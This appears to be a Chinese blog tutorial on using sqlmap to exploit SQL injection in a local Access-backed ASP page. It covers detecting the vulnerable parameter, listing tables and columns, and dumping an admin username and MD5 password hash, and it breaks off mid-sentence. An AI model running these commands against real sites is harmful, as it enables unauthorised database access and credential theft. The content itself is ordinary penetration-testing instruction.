sqlmap之(三)----Access注入实战

(1) 猜解是否能注入

sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513"



it looks like the back-end DBMS is 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

它后端DBMS看起来像是“Microsoft Access”。 是否要跳过特定于其他DBMS的测试有效内容

输入"Y"。



GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)?

GET参数'id'是脆弱的。 你想要继续测试其他人（如果有的话）

输入"Y"。



猜出来的数据库是"Microsoft Access"数据库。

(2) 猜解表

sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --tables



do you want to use common table existence check? [Y/n/q]

是否要使用公共表存在检查存在？ 输入"Y"



please enter number of threads? [Enter for 1 (current)]    请输入线程数? [输入 1 (当前)]

然后要你输入线程数,这里输入10,线程数不能输入过大,否则会提示错误。



猜解成功后得出的表。

(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)

sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin



do you want to use common column existence check? [Y/n/q]    你想使用公共列存在检查吗?[Y/n/q]

输入"Y"。然后输入线程数



一番等待结果就出来了。



(4) 根据字段猜解内容(假如通过3得到字段为admin和password)



他会询问你: do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

你想存储的哈希值来与其他工具最终进一步处理临时文件?

输入"Y";

然后他又会询问你: do you want to crack them via a dictionary-based attack? [Y/n/q]

你想通过基于字典的攻击来破解他们吗？



输入"N"; 使用它自带的



用户名与密码就出来了。密码是MD5加密的: a48e190fafc257d3  放到网上去解密,解密之后得到的结果为